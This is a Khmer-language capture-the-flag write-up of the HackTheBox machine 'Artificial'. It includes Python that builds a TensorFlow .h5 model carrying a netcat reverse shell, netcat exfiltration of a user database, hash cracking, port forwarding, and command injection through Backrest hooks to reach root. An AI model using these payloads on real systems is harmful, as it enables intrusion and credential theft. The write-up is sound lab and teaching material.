Artificial ជា Linux machine កម្រិត Easy ដែលខ្ញុំចំណាយពេលពីរថ្ងៃទើបដោះស្រាយបាន។ តោះចាប់ផ្ដើម!
ពិនិត្យដំបូង
ខ្ញុំចាប់ផ្ដើមដោយ scan IP ដែលផ្ដល់ឱ្យ ដើម្បីរក port បើក។
1 2 3 4 5 6 7 8 9 10 11 12 13 14 nmap -sV -vv 10.10.xx.xx -oA /Artificial/nmap 2 │ Nmap scan report for artificial.htb (10.10.11.74) 3 │ Host is up, received syn-ack (0.035s latency). 4 │ Scanned at 2025-07-05 16:06:41 +07 for 7s 5 │ Not shown: 998 closed tcp ports (conn-refused) 6 │ PORT STATE SERVICE REASON VERSION 7 │ 22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0) 8 │ 80/tcp open http syn-ack nginx 1.18.0 (Ubuntu) 9 │ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 10 │ 11 │ Read data files from: /usr/bin/../share/nmap 12 │ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 13 │
លទ្ធផលបង្ហាញថាមានតែ port 22 និង 80 បើក។
ខ្ញុំបន្ថែម IP របស់ target 10.10.xx.xx ទៅ /etc/hosts។echo '10.10.xx.xx artificial.htb' | sudo tee -a /etc/hosts
ស្វែងរកព័ត៌មាន
ខ្ញុំបើកមើលគេហទំព័រថាវាធ្វើអ្វី។
វាមើលទៅពាក់ព័ន្ធនឹង Machine Learning។ ខ្ញុំសាកប្រើគេហទំព័រ ហើយឃើញ Python code សម្រាប់ train model។ Code គំរូនេះជាតម្រុយមួយ។
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import numpy as npimport pandas as pdimport tensorflow as tffrom tensorflow import kerasfrom tensorflow.keras import layersnp.random.seed(42 ) hours = np.arange(0 , 24 * 7 ) profits = np.random.rand(len (hours)) * 100 data = pd.DataFrame({ 'hour' : hours, 'profit' : profits }) X = data['hour' ].values.reshape(-1 , 1 ) y = data['profit' ].values model = keras.Sequential([ layers.Dense(64 , activation='relu' , input_shape=(1 ,)), layers.Dense(64 , activation='relu' ), layers.Dense(1 ) ]) model.compile (optimizer='adam' , loss='mean_squared_error' ) model.fit(X, y, epochs=100 , verbose=1 ) model.save('profits_model.h5' )
ខ្ញុំចុះឈ្មោះ account ដើម្បី login។
គេហទំព័រអនុញ្ញាតឱ្យ upload model។ ខ្ញុំសួរខ្លួនឯងថា តើអាច upload model ដែលមាន payload បានទេ? ខ្ញុំស្វែងរកពី TensorFlow RCE ហើយប្រើ DeepSeek ជួយសរសេរ Python code បង្កើត exploit.h5 សម្រាប់ reverse shell។
TensorFlow RCE 1 2 3 4 5 6 7 8 9 10 11 12 13 import tensorflow as tfimport osdef exploit (x ): import os os.system("rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.xx.xx 4444 >/tmp/f" ) return x model = tf.keras.Sequential() model.add(tf.keras.layers.Input(shape=(64 ,))) model.add(tf.keras.layers.Lambda(exploit)) model.compile () model.save("exploit.h5" )
Code ខាងលើបង្កើត model exploit.h5។ ត្រូវប្ដូរ IP និង port ទៅតាមម៉ាស៊ីនរបស់អ្នក។
ខ្ញុំប្រើ uv និង CPython 3.8 virtual environment ដើម្បីដំឡើង TensorFlow ហើយដំណើរការ code នោះ។
វាយប្រហារ Reverse Shell
ខ្ញុំត្រឡប់ទៅគេហទំព័រ ហើយ upload exploit.h5។
Upload បានជោគជ័យ។ បន្ទាប់មក ខ្ញុំបើក listener នៅលើម៉ាស៊ីនខ្លួនឯង។
ខ្ញុំចុច View Predictions លើគេហទំព័រ។
បាន shell ចូល web server ហើយ!
ខ្ញុំពិនិត្យថា shell នេះដំណើរការជា user អ្វី។ លទ្ធផលគឺ app។
ខ្ញុំមើល /etc/passwd ដើម្បីរក user ផ្សេងទៀត។
Linpeas
ក្រៅពី app មាន user gael។ ខ្ញុំត្រូវចូលជា gael ដើម្បីយក user flag។ ខ្ញុំសាកដំណើរការ linpeas រក file ឬ configuration ដែលគួរឱ្យចាប់អារម្មណ៍។
ខ្ញុំបើក HTTP server សាមញ្ញនៅម៉ាស៊ីនខ្លួនឯង ដើម្បីផ្ទេរ linpeas.sh ទៅ target ហើយដំណើរការវា។
នៅលើ target៖
1 2 chmod +x linpeas.sh ./linpeas.sh
linpeas មិនបង្ហាញ misconfiguration ច្បាស់ៗទេ។ ប៉ុន្តែខ្ញុំរកឃើញ SQLite database users.db ក្នុង directory instance របស់ app។
ខ្ញុំផ្ទេរ database នេះពី target មកម៉ាស៊ីនខ្លួនឯងដោយប្រើ netcat។
នៅលើម៉ាស៊ីនខ្ញុំ៖
1 ncat -lvnp 4445 > users.db
នៅលើ target៖
ត្រូវប្រាកដថាកំពុងស្ថិតក្នុង directory instance។
1 nc 10.10.xx.xx 4445 < users.db
ពេល command ដំណើរការ វានឹងមើលទៅដូចក្នុងរូប។ ចុច Ctrl+C ដើម្បីបញ្ចប់ ហើយពិនិត្យ users.db នៅលើម៉ាស៊ីនខ្លួនឯង។
ខ្ញុំរកឃើញ password hash របស់ gael។ ខ្ញុំដឹងថាវាជា MD5 ព្រោះបានអាន source code ក្នុង app.py។
ខ្ញុំចម្លង hash ទៅ file ហើយចាប់ផ្ដើម crack។
ខ្ញុំប្រើ hashcat ជាមួយ wordlist rockyou.txt ហើយរកបាន password របស់ gael។ ព្រោះ port 22 បើក ខ្ញុំសាក SSH ជា user នេះ។
ខ្ញុំទទួលបាន user flag។ បន្ទាប់មក ខ្ញុំរកផ្លូវទៅ root។
បង្កើនសិទ្ធិ
ខ្ញុំសាក sudo -l មុន ដើម្បីមើលសិទ្ធិរបស់ gael។ គាត់មិននៅក្នុង sudoers ទេ។
ខ្ញុំដំណើរការ linpeas ម្ដងទៀត ដើម្បីពិនិត្យប្រព័ន្ធឱ្យបានលម្អិត។
Linpeas
ខ្ញុំឃើញ backup archive ក្នុង /var/backup និង service មួយនៅ port 9898។
Archive នោះអាចអានបានដោយ group sysadm។ ខ្ញុំពិនិត្យ group របស់ gael។
gael នៅក្នុង group នេះ ដូច្នេះខ្ញុំអាចពន្លា archive ទៅ home directory របស់គាត់។
1 tar -xf backrest_backup.tar.gz -C ~/
Backrest ជា web UI សម្រាប់គ្រប់គ្រង backup ដោយប្រើ restic។
ក្នុង hidden directory .config មាន config.json ដែលផ្ទុក username និង bcrypt password hash ដែល encode ជា Base64។
ខ្ញុំ decode hash ហើយរក្សាទុកវាក្នុង file នៅលើម៉ាស៊ីនខ្លួនឯង។
ខ្ញុំ crack ដោយ hashcat ឬ john។ ខ្ញុំជ្រើស hashcat ព្រោះអាចប្រើ GPU។
ខ្ញុំ crack hash បានជោគជ័យ។
Port Forwarding
ព្រោះ Backrest ដំណើរការនៅ port 9898 ខ្ញុំធ្វើ port forwarding ដើម្បីចូលពីម៉ាស៊ីនខ្លួនឯង។
ដំណើរការ command ខាងក្រោមនៅលើម៉ាស៊ីនខ្ញុំ៖
1 2 3 ssh -N -L 9898:localhost:9898 gael@10.10.xx.xx
ខ្ញុំបើក http://localhost:9898 ហើយឃើញទំព័រ login របស់ Backrest។
ខ្ញុំប្រើ username ពី config.json និង password ដែលទើប crack បាន។
Command Injection
ក្រោយអាន documentation និងប្រើ LLM ជួយស្រាវជ្រាវ ខ្ញុំឃើញថា hook អាចដំណើរការ script ជាមួយសិទ្ធិរបស់ backup service ដែលជា root។ ដូច្នេះខ្ញុំអាចប្រើ command injection ដើម្បីទទួល reverse shell ឬអាន /root/root.txt ផ្ទាល់។
ខ្ញុំដាក់ command នៅទីនេះ។ កុំភ្លេចបង្កើត password ហើយចុច Submit។
ខ្ញុំចូល repo ដែលទើបបង្កើត ហើយចុច Prune now។
បាន root flag ហើយ! ខ្ញុំយកវាទៅ submit ហើយបញ្ចប់ Artificial។
អរគុណដែលអាន writeup របស់ខ្ញុំ។